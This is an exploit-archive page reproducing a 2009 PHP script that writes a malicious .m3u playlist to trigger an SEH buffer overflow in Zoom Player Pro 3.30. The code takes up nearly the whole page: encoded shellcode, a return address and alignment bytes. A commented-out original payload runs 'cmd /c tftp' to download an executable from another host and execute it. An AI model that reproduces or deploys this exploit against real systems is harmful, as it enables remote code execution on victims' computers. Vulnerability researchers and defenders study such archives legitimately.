Zoom Player Pro 3.30 (.m3u) - File Buffer Overflow Exploit (seh)

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Zoom Player Pro 3.30 (.m3u) File Buffer Overflow Exploit (seh) by Nine:Situations:Group::surfista with original shellcode and unicode preambl


                                                &#60;?php
/*
  Zoom Player Pro v.3.30 .m3u file buffer overflow exploit (seh)
  by Nine:Situations:Group::surfista

  seems the same of http://secunia.com/advisories/28214/
  bug found by Luigi Auriemma
  no full working exploit out, so I made my test version
/*
/*
//original shellcode, 27 bytes + command
//re-encode with
//alpha2 --unicode ecx &#60;sh.txt
$scode =
&#34;\xeb\x13\x5b\x31\xc0\x50\x31\xc0\x88\x43\x4a\x53&#34;.
&#34;\xbb\x0d\x25\x86\x7c&#34;. //WinExec, kernel32.dll XP SP3
&#34;\xff\xd3\x31\xc0\xe8\xe8\xff\xff\xff&#34;.
&#34;cmd /c tftp -i 192.168.0.1 GET s s.exe && s && &#34;.
&#34;\xff&#34;;
*/

$_scode=&#34;IAIAIAIAIAIAIAIAIAIAIAIAIAIA4444jXAQADAZABARALAYAIAQAIAQAIAhAAAZ1&#34;.
        &#34;AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBhkMC1Kn&#34;.
        &#34;QWPnpNQGP3XPCPJaCEkJmo5TFsLYoHSNQUpiXgxyoKOKOosPmOtKpNOQSKp1d36rTp&#34;.
        &#34;pkpNMpimPNQp9nRlnnQP6lxNNlplnP1MPPGQ524O0RSO02SnN35rXPeKpLfKvKp43kpkvmVMPkOA&#34;;

$buff=&#34;\x23\x45\x58\x54\x4d\x33\x55\x0d\x0a\x68\x74\x74\x70\x3a\x2f\x2f&#34;.
      &#34;\x77\x77\x77&#34;.
       str_repeat(&#34;\x61&#34;,0xfe8).
       /* unicode preamble, alignment */
       &#34;\x6e&#34;.                      //add byte ptr [esi],ch, nop equivalent [*]
       &#34;\xd3\x45&#34;.                  //0x004500d3  unicode friendly pop - pop - ret, zplayer.exe
       &#34;\x6e&#34;.                      //*
       &#34;\x05\x7f\x4c&#34;.              //add eax,4c007f00h
       &#34;\x6e&#34;.                      //*
       &#34;\x2d\x59\x4c&#34;.              //sub eax,4c005900h
       &#34;\x6e&#34;.                      //*
       &#34;\x50&#34;.                      //push eax
       &#34;\x6e&#34;.                      //*
       &#34;\x59&#34;.                      //pop ecx
       str_repeat(&#34;\x6e\x90&#34;,0x7f). //nop
       &#34;\x6e&#34;.                      //*
       &#34;\x6a&#34;.                      //push 0, nop equivalent
       $_scode.
       str_repeat(&#34;\x90&#34;,0xbb8);
$_fp=@fopen(&#34;pwn.m3u&#34;,&#34;w+&#34;);
if (!$_fp) { die(&#34;[:(] Failed to create file...&#34;);}
fputs($_fp,$buff);
fclose($_fp);
print(&#34;[:)] Done!&#34;);
?&#62;

# milw0rm.com [2009-04-27]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1